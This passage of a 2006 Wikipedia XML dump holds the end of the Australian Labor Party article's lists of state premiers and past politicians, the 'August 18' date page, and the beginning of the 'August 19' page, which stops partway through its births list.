[[List of ALP federal leaders by time served]]

==Current ALP State Premiers / Territory Chief Ministers==
* [[Peter Beattie]] (Premier of [[Queensland]])
* [[Steve Bracks]] (Premier of [[Victoria (Australia)|Victoria]])
* [[Mike Rann]] (Premier of [[South Australia]])
* [[Clare Martin]] (Chief Minister of the [[Northern Territory]])
* [[Jon Stanhope]] (Chief Minister of the [[Australian Capital Territory]])
* [[Paul Lennon]] (Premier of [[Tasmania]])
* [[Morris Iemma]] (Premier of [[New South Wales]])
* [[Alan Carpenter]] (Premier of [[Western Australia]])

==Past ALP State Premiers and Territory Chief Ministers==
&lt;!--Please note these are PAST PREMIERS: do NOT put present day Premiers in here--&gt;.
'''New South Wales'''
* [[Bob Carr]] ([[1995]]&amp;ndash;[[2005]])
* [[Barrie Unsworth]] ([[1986]]&amp;ndash;[[1988|88]])
* [[Neville Wran]] ([[1976]]&amp;ndash;[[1986|86]])
* [[Jack Renshaw]] ([[1964]]&amp;ndash;[[1965|65]])
* [[Robert Heffron]] ([[1959]]&amp;ndash;[[1964|64]])
* [[Joseph Cahill]] ([[1952]]&amp;ndash;[[1959|59]])
* [[James McGirr]] ([[1947]]&amp;ndash;[[1952|52]])
* [[William McKell]] ([[1941]]&amp;ndash;[[1947|47]])
* [[Jack Lang (Australia)|Jack Lang]] ([[1925]]&amp;ndash;[[1927|27]], [[1930]]&amp;ndash;[[1932|32]])
* [[James Dooley (Australian politician)|James Dooley]] ([[1921]]&amp;ndash;[[1921|21]], [[1921]]&amp;ndash;[[1922|22]])
* [[John Storey]] ([[1920]]&amp;ndash;[[1921|21]])
* [[William Holman]] ([[1913]]&amp;ndash;[[1916|16]])
* [[James McGowen]] ([[1910]]&amp;ndash;[[1913|13]], first Labor premier of New South Wales)
'''Victoria'''
* [[Joan Kirner]] ([[1990]]&amp;ndash;[[1992|92]], first female Premier of Victoria)
* [[John Cain]] ([[1982]]&amp;ndash;[[1990|90]])
* [[John Cain (senior)]] ([[1943]], [[1945]]&amp;ndash;[[1947|47]], [[1952]]&amp;ndash;[[1955|55]])
* [[Edmond Hogan]] ([[1927]]&amp;ndash;[[1928|28]], [[1929]]&amp;ndash;[[1932|32]])
* [[George Prendergast]] ([[1924]])
* [[George Elmslie (Australian politician)|George Elmslie]] ([[1913]])
'''Queensland'''
* [[Wayne Goss]] ([[1989]]&amp;ndash;[[1996|96]])
*[[Vince Gair]] ([[1952]]-[[1957|57]])
*[[Ned Hanlon]] ([[1946]]-[[1952|52]])
*[[Frank Cooper]] ([[1942]]-[[1946|46]])
*[[William Forgan Smith]] ([[1932]]-[[1942|42]])
*[[William McCormack]] ([[1925]]-[[1929|29]])
*[[William Gillies]] ([[1925]])
* [[Ted Theodore]] ([[1919]]&amp;ndash;[[1925|25]])
* [[Thomas Joseph Ryan|Tom Ryan]] ([[1915]]&amp;ndash;[[1919|19]])
* [[Anderson Dawson]] ([[1899]], world's first leader of a parliamentary socialist government)
'''Western Australia'''
* [[Geoff Gallop|Dr Geoff Gallop]] ([[2001]]-[[2005]])
* [[Carmen Lawrence|Dr Carmen Lawrence]] ([[1990]]&amp;ndash;[[1993|93]], first female Premier of an Australian state)
* [[Peter Dowding]] ([[1988]]&amp;ndash;[[1990|90]])
* [[Brian Burke]] ([[1983]]&amp;ndash;[[1988|88]])
* [[John Tonkin]] ([[1971]]&amp;ndash;[[1974|74]])
* [[Albert Hawke]] ([[1953]]&amp;ndash;[[1959|59]])
* [[Frank Wise]] ([[1945]]&amp;ndash;[[1947|47]])
* [[John Willcock]] ([[1936]]&amp;ndash;[[1945|45]])
* [[Phillip Collier]] ([[1924]]&amp;ndash;[[1930|30]], [[1933]]&amp;ndash;[[1936|36]])
* [[John Scaddan]] ([[1911]]&amp;ndash;[[1916|16]])
* [[Henry Daglish]] ([[1904]]&amp;ndash;[[1905|05]], first Labor premier of Western Australia)
'''South Australia'''
* [[Lynn Arnold]] ([[1992]]&amp;ndash;[[1993|93]])
* [[John Bannon]] ([[1982]]&amp;ndash;[[1992|92]])
* [[Des Corcoran]] ([[1979]])
* [[Don Dunstan]] ([[1967]]&amp;ndash;[[1968|68]], [[1970]]&amp;ndash;[[1979|79]])
* [[Frank Walsh]] ([[1965]]&amp;ndash;[[1967|67]])
* [[Robert Richards]] ([[1933]])
* [[Lionel Hill]] ([[1926]]&amp;ndash;[[1927|27]], [[1930]]&amp;ndash;[[1933|33]])
* [[John Gunn (Australian politician)|John Gunn]] ([[1924]]&amp;ndash;[[1926|26]])
* [[Crawford Vaughan]] ([[1915]]&amp;ndash;[[1917|17]])
* [[John Verran]] ([[1910]]&amp;ndash;[[1912|12]])
* [[Thomas Price]] ([[1905]]&amp;ndash;[[1909|09]], first Labor premier of South Australia)
'''Tasmania'''
* [[Jim Bacon]] ([[1998]]&amp;ndash;[[2004]])
* [[Michael Field (Australian politician)|Michael Field]] ([[1989]]&amp;ndash;[[1992|92]])
* [[Harry Holgate]] ([[1981]]&amp;ndash;[[1982|82]])
* [[Bill Neilson]] ([[1975]]&amp;ndash;[[1977|77]])
* [[Eric Reece]] ([[1958]]&amp;ndash;[[1969|69]], [[1972]]&amp;ndash;[[1975|75]])
* [[Edward Brooker]] ([[1947]]&amp;ndash;[[1948|48]])
* [[Robert Cosgrove]] ([[1939]]&amp;ndash;[[1947|47]], [[1948]]&amp;ndash;[[1958|58]])
* [[Edmund Dwyer-Gray]] ([[1939]])
* [[Albert Ogilvie]] ([[1934]]&amp;ndash;[[1939|39]])
* [[Joseph Lyons]] ([[1923]]&amp;ndash;[[1928|28]])
* [[John Earle (Australian politician)|John Earle]] ([[1909]], [[1914]]&amp;ndash;[[1916|16]])
'''Australian Capital Territory'''
* [[Rosemary Follett]] ([[1989]], [[1991]]&amp;ndash;[[1995|95]], first female head of an Australian state or territory)

==Other past Labor politicians==
* [[Lance Barnard]]
* [[John Beasley]]
* [[Kim Beazley, senior]]
* [[Lionel Bowen]]
* [[Clyde Cameron]]
* [[Jim Cairns]]
* [[Rex Connor]]
* [[Frank Crean]]
* [[Fred Daly]]
* [[Al Grassby]]
* [[Ted Holloway]]
* [[Brian Howe]]
* [[Lionel Murphy]]
* [[Graham Richardson]]
* [[Ted Theodore]]
* [[Eddie Ward]]
* [[Ralph Willis]]
* [[John Button]]

For current ALP federal politicians, see:
* [[List of members of the Australian House of Representatives]]
* [[List of members of the Australian Senate]]

== See also ==
* [[Politics of Australia]]
* [[Premiers of the Australian states]]
* [[List of political parties in Australia]]
* [[Emma Miller]]

== External links ==
* [http://www.alp.org.au/ Australian Labor Party]
* [http://www.smh.com.au/articles/2004/03/21/1079823242925.html Labor coast to coast? Bloody hell!] (critical commentary)
* [http://nla.gov.au/nla.aus-vn2599036 Australian Labor Party (ALP) ephemera] digitised and held by the National Library of Australia
* [http://www.democracy4sale.org/ Critics of political donations]

{{Australian political parties}}


[[Category:Australian labour movement]]
[[Category:Labour parties]]
[[Category:Political parties in Australia]]
[[Category:Social democratic parties]]
[[Category:Socialist International]]

[[de:Australian Labor Party]]
[[eo:Aŭstralia Labora Partio]]
[[es:Partido Laborista (Australia)]]
[[fr:Parti travailliste australien]]
[[lt:Australijos darbininkų partija]]
[[pl:Australian Labor Party]]
[[ru:Австралийская лейбористская партия]]</text>
    </revision>
  </page>
  <page>
    <title>August 18</title>
    <id>1496</id>
    <revision>
      <id>41777493</id>
      <timestamp>2006-03-01T17:58:15Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ added reason</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=18}}
|}
'''[[August 18]]''' is the 230th day of the year (231st in [[leap year]]s) in the [[Gregorian calendar]]. There are 135 days remaining.

==Events==
*[[1201]] - The [[city]] of [[Riga]] is founded.
*[[1541]] - A [[Portugal|Portuguese]] ship drifts ashore in the ancient [[Japan|Japanese]] province of [[Higo Province|Higo]] (modern day [[Kumamoto Prefecture]]). (Traditional [[Japanese calendar|Japanese date]]: [[July 27]], 1541)
*[[1572]] - [[Wedding]] in [[Paris]] of the [[Huguenot]] King [[Henry IV of France|Henry III]] of [[Navarre]] with [[Marguerite de Valois]], in a supposed attempt to reconcile [[Protestantism|Protestants]] and [[Roman Catholic Church|Catholics]].
*[[1587]] - [[Virginia Dare]], granddaughter of Gov. [[John White (surveyor)|John White]] of the [[Colony of Roanoke]], becomes the first [[England|English]] child born in the [[Americas]].  
*[[1590]] - [[John White]], the governor of the [[Colony of Roanoke]], returns from a supply-trip to [[England]] and finds his settlement deserted.  
*[[1864]] - [[American Civil War]]: [[Battle of Weldon Railroad]] - [[United States|Union]] forces try to cut a vital [[Confederate States of America | Confederate]] supply-line into [[Petersburg, Virginia]], by attacking the [[Weldon Railroad]].  
*[[1868]] - [[France|French]] [[astronomy|astronomer]] [[Pierre Jules César Janssen]] [[Discoveries of the chemical elements|discovers]] [[helium]].
*[[1877]] - [[Asaph Hall]] discovers [[Mars (planet)|Martian]] moon [[Phobos (moon)|Phobos]].
*[[1903]] - [[Germany|German]] [[engineer]] [[Karl Jatho]] allegedly flies his self-made, motored gliding [[airplane]] four months before the first flight of the [[Wright Brothers]]. 
*[[1904]] - [[Chris Watson]] resigns as [[Prime Minister of Australia]] and is succeded by [[George Reid (Australian politician)|George Reid]].
*[[1909]] - [[Tokyo]] mayor [[Yukio Ozaki]] presents [[Washington, D.C.]] with 2,000 cherry trees, which [[William Howard Taft|President Taft]] decides to plant near the [[Potomac River]].
*[[1920]] - [[Nineteenth Amendment to the United States Constitution|19th Amendment to US constitution]] passes, guaranteeing women's [[suffrage]]. 
*[[1938]] - The [[Thousand Islands Bridge]], connecting [[New York State]], [[United States]] with [[Ontario]], [[Canada]] over the [[St. Lawrence River]], is dedicated by [[U.S. President]] [[Franklin D. Roosevelt]].  
*[[1941]] - [[Adolf Hitler]] orders a temporary halt to [[Nazi Germany|Nazi Germany's]] systematic [[euthanasia]] of [[mental illness|mentally ill]] and [[handicapped]] due to protests. 
*[[1950]] - [[Julien Lahaut]], the chairman of the [[Communist Party of Belgium]] is assassinated by far-right elements.
*[[1958]] - [[Vladimir Nabokov]]'s controversial novel ''[[Lolita]]'' is published in the United States.
*[[1963]] - [[American civil rights movement]]: [[James Meredith]] becomes the first black person to graduate from the [[University of Mississippi]]. 
*[[1965]] - [[Vietnam War]]: [[Operation Starlite]] begins - [[United States Marines]] destroy a [[Viet Cong]] stronghold on the [[Van Tuong]] peninsula in the first major American ground battle of the war. 
*[[1966]] - [[Vietnam War]]: The [[Battle of Long Tan]] occurs, when a patrol of [[Royal Australian Regiment]] encounter the [[Viet Cong]].   
*[[1969]] - [[Jimi Hendrix]] plays the unofficial last day of [[Woodstock]].
*[[1971]] - [[Vietnam War]]: [[Australia]] and [[New Zealand]] decide to withdraw their troops from [[Vietnam]].  
*[[1976]] - In [[North Korea]] at Panmunjom, two [[United States|US]] soldiers are killed while trying to chop down part of a tree in the DMZ which had obscured their view. 
*[[1982]] - [[Japan|Japanese]] election law is amended to allow for [[proportional representation]].
*[[1983]] - [[Hurricane Alicia]] hits the [[Texas]] coast, killing 22 people and causing over [[USD]] $1 billion in damage (1983 dollars). 
*[[1989]] - Leading presidential hopeful [[Luis Carlos Galán]] is assassinated near [[Bogotá]] in [[Colombia]]. 
*[[1991]] - [[Collapse of the Soviet Union]]: [[President of the Soviet Union | Soviet President]] [[Mikhail Gorbachev]] is put under [[house arrest]] while on holiday in the [[Crimea]]. 
*[[1992]] - [[Wang Laboratories]] files for bankruptcy.
*1992 - NBA [[basketball]] player [[Larry Bird]] announces his retirement after winning an [[Olympics|Olympic]] gold medal as a member of the U.S. ''[[Dream Team (basketball)|Dream Team]]''.
*[[2004]] - In [[Dublin]], [[Republic of Ireland|Ireland]] the [[Dublin Port Tunnel]] excavation works are completed.
*[[2005]] - Dennis Rader is sentenced to 175 years in prison for the [[BTK killer|BTK serial killings]].
*2005 - [[2005 Java Blackout|Massive power blackout]] hits the [[Indonesia]]n island of [[Java (island)|Java]], affecting almost 100 million people.
*2005 - [[Starbucks]] opens its first outlet in [[Ireland]], in [[Dundrum Town Centre]], south County [[Dublin]].

==Births==
*[[1414]] - [[Jami]], Persian poet (d. [[1492]])
*[[1450]] - [[Marko Marulić]], Croatian poet (d. [[1524]])
*[[1587]] - [[Virginia Dare]], first English child born in North America (d. [[1588]])
*[[1596]] - [[Jean Bolland]], Flemish Jesuit writer (d. [[1665]])
*[[1605]] - [[Henry Hammond]], English churchman (d. [[1660]])
*[[1685]] - [[Brook Taylor]], English mathematician (d. [[1731]])
*[[1692]] - [[Louis Henri, Duc de Bourbon]], [[Prime Minister of France]] (d. [[1740]])
*[[1720]] - [[Laurence Shirley, 4th Earl Ferrers]], English murderer (d. [[1760]])
*[[1750]] - [[Antonio Salieri]], Italian composer (d. [[1825]])
*[[1774]] - [[Meriwether Lewis]], American explorer (d. [[1809]])
*[[1822]] - [[Isaac P. Rodman]], American Union General (d. [[1862]])
*[[1830]] - Emperor [[Franz Josef I of Austria]] (d. [[1916]])
*[[1841]] - [[William Halford]], American naval officer and [[Medal of Honor]] recipient
*[[1857]] - [[Libert H. Boeynaems]], Belgian Catholic prelate (d. [[1926]])
*[[1890]] - [[Walther Funk]], German Nazi politician (d. [[1960]])
*[[1896]] - [[Jack Pickford]], Canadian-born actor (d. [[1933]])
*[[1902]] - [[Adamson-Eric]] (Eric Adamson), Estonian painter (d. [[1968]])
*[[1904]] - [[Max Factor]], Polish-born cosmetics entrepreneur (d. [[1996]])
*[[1917]] - [[Caspar Weinberger]], [[United States Secretary of Defense]]
*[[1918]] - [[Walter Joseph Hickel]], Governor of Alaska and [[US Secretary of the Interior]] 
*[[1920]] - [[Bob Kennedy]], baseball player and manager (d. [[2005]])
*[[1922]] - [[Shelley Winters]], American actress
*1922 - [[Alain Robbe-Grillet]], French writer
*[[1925]] - [[Brian Aldiss]], English writer
*[[1927]] - [[Rosalynn Carter]], [[First Lady of the United States]]
*[[1928]] - [[Marge Schott]], baseball team owner (d. [[2004]])
*[[1929]] - [[Hugues Aufray]], French singer
*[[1932]] - [[William R. Bennett]], Premier of British Columbia
*[[1933]] - [[Roman Polanski]], Franco-Polish director and actor
*1933 - [[Just Fontaine]], French footballer
*[[1934]] - [[Vincent Bugliosi]], American attorney
*1934 - [[Roberto Clemente]], Puerto Rican [[Major League Baseball]] player (d. [[1972]])
*1934 - [[Ronnie Carroll]], British singer
*[[1935]] - [[Rafer Johnson]], American athlete
*1935 - Sir [[Howard Morrison]], New Zealand entertainer
*[[1937]] - [[Robert Redford]], American actor and director
*[[1939]] - [[Robert Horton| Sir Robert Horton]], UK businessman
*[[1943]] - [[Martin Mull]], American comedian and actor
*1943 - [[Carl Wayne]], English singer (d. [[2004]])
*[[1945]] - [[Barbara Harris (singer)|Barbara Harris]], American singer ([[The Toys|Toys]])
*[[1952]] - [[Patrick Swayze]], American actor
*[[1953]] - [[Louie Gohmert]], American politician
*[[1955]] - Dr. [[Taher ElGamal]], Egyptian scientist 
*[[1957]] - [[Carole Bouquet]], French actress
*1957 - [[Denis Leary]], American comedian and actor
*[[1958]] - [[Madeleine Stowe]], American actress
*[[1960]] - [[Fat Lever]], American basketball player
*[[1965]] - [[Koji Kikkawa]], Japanese singer
*[[1969]] - [[Masta Killa]], American rapper
*1969 - [[Everlast]], American musician
*1969 - [[Edward Norton]], American actor
*1969 - [[Christian Slater]], American actor
*[[1970]] - [[Malcolm-Jamal Warner]], American actor
*[[1971]] - [[Richard D James]], Irish-born musician
*[[1972]] - [[Leo Ku]], Hong Kong singer
*[[1974]] - [[Shivnarine Chanderpaul]], West Indian cricketer
*[[1979]] - [[Selena Silver]], pornographic film actress
*[[1980]] - [[Esteban Cambiasso]], Argentine footballer
*[[1984]] - [[Robert Huth]], German footballer
*[[1985]] - [[Spencer Bailey]], symbol of survival, [[United Airlines Flight 232]] crash

==Deaths==
*[[472]] - [[Ricimer]], Roman general
*[[849]] - [[Walafrid Strabo]], German monk and theologian 
*[[1227]] - [[Genghis Khan]], Mongol leader
*[[1276]] - [[Pope Adrian V]]
*[[1430]] - [[Thomas de Ros, 9th Baron de Ros]], English soldier and politician (drowned) (b. [[1406]])
*[[1503]] - [[Pope Alexander VI]] (b. [[1431]])
*[[1559]] - [[Pope Paul IV]] (b. [[1476]])
*[[1563]] - [[Étienne de La Boétie]], French judge and writer (b. [[1530]])
*[[1613]] - [[Giovanni Artusi]], Italian composer
*[[1620]] - [[Wanli]], [[Emperor of China]] (b. [[1563]])
*[[1642]] - [[Guido Reni]], Italian painter (b. [[1575]])
*[[1645]] - [[Eudoxia Streshneva]], Tsarina of [[Mikhail I of Russia]] (b. [[1608]])
*[[1683]] - [[Charles Hart (17th-century actor)|Charles Hart]], English actor (b. [[1625]])
*[[1707]] - [[William Cavendish, 1st Duke of Devonshire]], English soldier and statesman (b. [[1640]])
*[[1712]] - [[Richard Savage, 4th Earl Rivers]], English soldier
*[[1765]] - [[Francis I, Holy Roman Emperor]] (b. [[1708]])
*[[1809]] - [[Matthew Boulton]], English manufacturer and engineer (b. [[1728]])
*[[1815]] - [[Chauncey Goodrich]], U.S. Senator from Connecticut (b. [[1759]]) 
*[[1842]] - [[Louis de Freycinet]], French explorer (b. [[1779]])
*[[1850]] - [[Honoré de Balzac]], French writer (b. [[1799]])
*[[1940]] - [[Walter P. Chrysler]], American automobile executive (b. [[1875]])
*[[1949]] - [[Paul Mares]], American musician (b. [[1900]])
*[[1963]] - [[Clifford Odets]], American playwright (b. [[1906]])
*[[1981]] - [[Anita Loos]], American screenwriter, playwright, and author (b. [[1889]])
*[[1983]] - [[Nikolaus Pevsner]], German-born art historian (b. [[1902]])
*[[1990]] - [[Grethe Ingmann]], Danish singer (b. [[1938]])
*[[1994]] - [[Richard Laurence Millington Synge]], English chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1914]])
*[[1998]] - [[Persis Khambatta]], Indian actress (b. [[1950]])
*[[2004]] - [[Elmer Bernstein]], American composer (b. [[1922]])

==Holidays and observances==
*[[List of saints|RC saints]] - Saint [[Helena of Constantinople]]
* [[Buhe]] in the [[Ethiopian Orthodox Church]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/18 BBC: On This Day]
----

[[August 17]] - [[August 19]] - [[July 18]] - [[September 18]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:18 Augustus]]
[[ar:18 أغسطس]]
[[an:18 d'agosto]]
[[ast:18 d'agostu]]
[[bg:18 август]]
[[be:18 жніўня]]
[[bs:18. august]]
[[ca:18 d'agost]]
[[ceb:Agosto 18]]
[[cv:Çурла, 18]]
[[co:18 d'aostu]]
[[cs:18. srpen]]
[[cy:18 Awst]]
[[da:18. august]]
[[de:18. August]]
[[et:18. august]]
[[el:18 Αυγούστου]]
[[es:18 de agosto]]
[[eo:18-a de aŭgusto]]
[[eu:Abuztuaren 18]]
[[fo:18. august]]
[[fr:18 août]]
[[fy:18 augustus]]
[[ga:18 Lúnasa]]
[[gl:18 de agosto]]
[[ko:8월 18일]]
[[hr:18. kolovoza]]
[[io:18 di agosto]]
[[id:18 Agustus]]
[[ia:18 de augusto]]
[[ie:18 august]]
[[is:18. ágúst]]
[[it:18 agosto]]
[[he:18 באוגוסט]]
[[jv:18 Agustus]]
[[ka:18 აგვისტო]]
[[csb:18 zélnika]]
[[ku:18'ê gelawêjê]]
[[la:18 Augusti]]
[[lt:Rugpjūčio 18]]
[[lb:18. August]]
[[li:18 augustus]]
[[hu:Augusztus 18]]
[[mk:18 август]]
[[ms:18 Ogos]]
[[nap:18 'e aùsto]]
[[nl:18 augustus]]
[[ja:8月18日]]
[[no:18. august]]
[[nn:18. august]]
[[oc:18 d'agost]]
[[pl:18 sierpnia]]
[[pt:18 de Agosto]]
[[ro:18 august]]
[[ru:18 августа]]
[[se:Borgemánu 18.]]
[[sco:18 August]]
[[sq:18 Gusht]]
[[scn:18 di austu]]
[[simple:August 18]]
[[sk:18. august]]
[[sl:18. avgust]]
[[sr:18. август]]
[[fi:18. elokuuta]]
[[sv:18 augusti]]
[[tl:Agosto 18]]
[[tt:18. August]]
[[te:ఆగష్టు 18]]
[[th:18 สิงหาคม]]
[[vi:18 tháng 8]]
[[tr:18 Ağustos]]
[[uk:18 серпня]]
[[wa:18 d' awousse]]
[[war:Agosto 18]]
[[zh:8月18日]]
[[pam:Agostu 18]]</text>
    </revision>
  </page>
  <page>
    <title>August 19</title>
    <id>1497</id>
    <revision>
      <id>41777696</id>
      <timestamp>2006-03-01T17:59:59Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ added birth year</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=19}}
|}
'''[[August 19]]''' is the 231st day of the year (232nd in [[leap year]]s) in the [[Gregorian Calendar]]. There are 134 days remaining.


==Events==
*[[293 BC]] - Oldest known [[Roman temple]] to [[Venus (mythology)|Venus]] ''Libitina'' founded on the [[Esquiline Hill]]; institution of [[Vinalia Rustica]] begins. 
*[[1388]] - [[Battle of Otterburn]][http://www.thenortheast.fsnet.co.uk/Redesdale.htm#BATTLE%20OF%20OTTERBURN], border skirmish between the [[Scottish people|Scottish]] and the [[English people|English]] in Northern [[England]].
*[[1561]] - Queen [[Mary I of Scotland|Mary Stuart]] returns to [[Scotland]]. 
*[[1692]] - [[Salem Witch Trials]]: In [[Salem, Massachusetts]] five women and a clergyman are executed after being convicted of [[witchcraft]].
*[[1745]] - [[Jacobite Rising]], [[Prince Charles Edward Stuart]] lands from a French warship in [[Glenfinnan]], raises his standard and marches on [[London]] - the start of the Second Jacobite Rebellion known as &quot;the 45&quot;
*[[1768]] - [[Saint Isaac's Cathedral]] is founded in [[Saint Petersburg, Russia|Saint Petersburg]], [[Russia]]
*[[1782]] - [[Battle of Blue Licks]]:  the last major battle of the [[American Revolutionary War]], almost ten months after the surrender of the British commander [[Charles Cornwallis, 1st Marquess Cornwallis|Lord Cornwallis]] following the [[Battle of Yorktown (1781)|Battle of Yorktown]]. 
*[[1812]] - [[War of 1812]]: American frigate ''[[USS Constitution]]'' defeats the [[Royal Navy|British]] frigate ''[[HMS Guerriere (1806)|HMS Guerrière]]'' off the coast of [[Nova Scotia]]. 
*[[1813]] - [[Gervasio Antonio de Posadas]] joins [[Argentina]]'s second triumvirate. 
*[[1839]] - Presentation of [[Louis Daguerre|Jacque Daguerre]]'s new [[photography|photographic]] process to the [[French Academy of Sciences]].
*[[1848]] - [[California Gold Rush]]: The ''[[New York Herald]]'' breaks the news to the East Coast of the [[United States]] of the [[gold rush]] in [[California]] (although the rush started in January). 
*[[1862]] - [[Indian Wars]]: During an uprising in [[Minnesota]], [[Lakota]] warriors decide not to attack heavily-defended [[Fort Ridgely]] and instead turn to the settlement of [[New Ulm]], killing white settlers along the way.  
*[[1895]] - [[American frontier]] murderer and outlaw, [[John Wesley Hardin]], is killed by an off-duty policeman in a [[bar (establishment)|saloon]] in [[El Paso, Texas]]. 
*[[1919]] - [[Afghanistan]] gains independence from the [[United Kingdom]].  
*[[1929]] - The [[radio]] [[comedy]] show ''[[Amos and Andy]]'' makes its [[NBC]] debut starring [[Freeman Gosden]] and [[Charles Correll]].  
*[[1934]] - The first All-American [[Soap Box Derby]] is held in [[Dayton, Ohio]]. 
*1934 - The creation of the position [[Führer]] approved by the German electorate with 89.9% of the popular vote.
*[[1942]] - [[World War II]]: [[Operation Jubilee]] - The [[2nd Canadian Infantry Division]] leads an [[Allies of World War II|allied forces]] [[amphibious assault]] on [[Dieppe, France]].
*[[1944]] - [[World War II]]: [[Liberation of Paris]] - [[Paris]] rises against [[Nazi Germany|German]] occupation with the help of [[Allies of World War II|Allied]] troops.
*[[1945]] - [[Vietnam War]]: [[Viet Minh]] led by [[Ho Chi Minh]] take power in [[Hanoi]], [[Vietnam]].  
*[[1953]] - [[Cold War]]: The [[CIA]] helps to overthrow the government of [[Mohammed Mossadegh]] in [[Iran]] and reinstate the [[Shah]] [[Mohammad Reza Pahlavi]].  
*[[1955]] - In the Northeast [[United States]], severe [[flooding]] caused by [[Hurricane Diane]], claims 200 lives.  
*[[1960]] - [[Cold War]]: In [[Moscow]], downed American [[Lockheed U-2|U-2]] pilot [[Francis Gary Powers]] is sentenced to ten years imprisonment by the [[Soviet Union]] for [[espionage]].  
*1960 - [[Sputnik program]]: The [[Soviet Union]] launches [[Sputnik 5]] with the [[dog]]s [[Belka and Strelka]], 40 [[mice]], 2 [[rat]]s and a variety of [[plant]]s.
*[[1961]] - The Australian public-affairs show ''Four Corners'' starts on the [[Australian Broadcasting Corporation|ABC]].
*[[1965]] - [[Prime Minister of Japan|Japanese prime minister]] [[Eisaku Sato]] becomes the first post-[[World War II]] sitting prime minister to visit [[Okinawa Prefecture|Okinawa]].
*[[1975]] - The cricket test match between [[England]] and [[Australia]] is called off after the pitch is vandalised by supporters of [[George Davis (armed robber)|George Davis]].
*[[1980]] - [[Saudia Flight 163]], a [[Lockheed]] [[Lockheed L-1011|L-1011 TriStar]] burns after making an emergency landing at [[King Khalid International Airport]] in [[Riyadh]], [[Saudi Arabia]], killing 301 people.
*[[1981]] - [[Gulf of Sidra incident (1981)|Gulf of Sidra Incident]]: Two [[Libya]]n [[Sukhoi Su-22]] fighter jets intercept [[United States]] fighters over the [[Gulf of Sidra]] and are destroyed by them. 
*[[1987]] - [[Hungerford Massacre]]: In the [[United Kingdom]], [[Michael Ryan (mass murderer)|Michael Ryan]] kills sixteen people with an [[assault rifle]] and then commits [[suicide]].  
*[[1989]] - [[President of Poland|Polish president]] [[Wojciech Jaruzelski]] nominates [[Solidarity]] activist [[Tadeusz Mazowiecki]] to be the first non-communist [[Prime Minister]] in 42 years.
*[[1990]] - [[Leonard Bernstein]] conducts his final concert, ending with [[Ludwig van Beethoven]]'s [[Symphony No. 7 (Beethoven)|Symphony No. 7]].
*[[1991]] - Soviet Union President [[Mikhail Gorbachev]] is overthrown by a coup. This leads to the fall of the [[Soviet Union]]  
*[[1999]] - In [[Belgrade]], tens of thousands of [[Serbia]]ns rally to demand the resignation of [[President of Yugoslavia|Federal Republic of Yugoslavia President]] [[Slobodan Milošević]].
*[[2002]] - A [[Russia|Russian]] [[Mi-26]] [[helicopter]] carrying troops is hit by a [[Chechen]] [[missile]] outside of [[Grozny]], killing 118 soldiers.
*[[2003]] - A car-bomb attack on [[UN]] headquarters in [[Iraq]] kills the agency's top envoy [[Sergio Vieira de Mello]] and 21 other employers.
*[[2005]] - The first-ever joint military exercise between [[Russia]] and [[People's Republic of China|China]], called [[Peace Mission 2005]] begins.

==Births==
*[[1398]] - [[Iñigo López de Mendoza|Marqués de Santillana]], Spanish poet (d. [[1458]])
*[[1557]] - [[Frederick I, Duke of Württemberg]] (d. [[1608]])
*[[1590]] - [[Henry Rich, 1st Earl of Holland]], English soldier (d. [[1649]])
*[[1596]] - [[Elizabeth of Bohemia]] (d. [[1662]])
*[[1621]] - [[Gerbrand van den Eeckhout]], Dutch painter (d. [[1674]])
*[[1631]] - [[John Dryden]], English poet (d. [[1700]])
*[[1646]] - [[John Flamsteed]], English astronomer (d. [[1719]])
*[[1686]] - [[Eustace Budgell]], English writer (d. [[1737]])
*1686 - [[Nicola Porpora]], Italian composer (d. [[1768]])
*[[1689]] - [[Samuel Richardson]], English writer (d. [[1761]])
*[[1711]] - [[Edward Boscawen]], British admiral (d. [[1761]])
*[[1743]] - [[Madame du Barry]], French courtesan (d. [[1793]])
*[[1870]] - [[Bernard Baruch]], American financier (d. [[1965]])
*[[1871]] - [[Orville Wright]], American aviation pioneer (d. [[1948]])
*[[1875]] - [[Stjepan Seljan]], Croatian explorer (d. [[1936]])
*[[1878]] - [[Manuel Quezon]], President of the Philippines (d. [[1944]])
*[[1881]] - [[Georges Enescu]], Romanian composer (d. [[1955]])
*[[1883]] - [[Coco Chanel]], French clothing designer (d. [[1971]])
*1883 - [[Elsie Ferguson]], American film actress (d. [[1961]])
*[[1892]] - [[Alfred Lunt]], American actor (d. [[1977]])
*[[1896]] - [[Olga Baclanova]], Russian-born actress (d. [[1974]])
*[[1902]] - [[Ogden Nash]], American poet (d. [[1971]])
*[[1906]] - [[Philo T. Farnsworth]], American inventor and television pioneer (d. [[1971]])
*[[1907]] - [[Thurston Ballard Morton|Thurston B. Morton]], American politician (d. [[1982]])
*[[1913]] - [[Richard Simmons (actor)|Richard Simmons]], American actor (d. [[2003]])
*[[1914]] - [[Lajos Baróti]], Hungarian footballer and coach (d. [[2005]])
*[[1915]] - [[Ring Lardner, Jr.]], American actor and screenwriter (d. [[2000]])
*[[1919]] - [[Malcolm Forbes]], American publisher (d. [[1990]])
*[[1921]] - [[Gene Roddenberry]], American television producer (d. [[1991]])
*[[1925]] - [[Claude Gauvreau]], Canadian playwright, poet, and polemicist (d. [[1971]])
*[[1926]] - [[Arthur Rock]], American venture capitalist
*[[1930]] - [[Frank McCourt (author)|Frank McCourt]], Irish-born author
*[[1931]] - [[Willie Shoemaker]], American jockey (d. [[2003]])
*[[1935]] - [[Bobby Richardson]], baseball player
*[[1938]] - [[Diana Muldaur]], American actress, dog breeder, and dog judge
*[[1939]] - [[Ginger Baker]], English musician
*[[1940]] - [[Johnny Nash]], American singer
*1940 - [[Jill St. John]], American actress
*[[1942]] - [[Fred Dalton Thompson]], U.S. Senator from Tennessee and actor
*[[1944]] - [[Charles B. Wang]], Chinese-born philanthropist
*[[1945]] - [[Ian Gillan]], English singer
*[[1946]] - [[Bill Clinton]], 42nd [[President of the United States]]
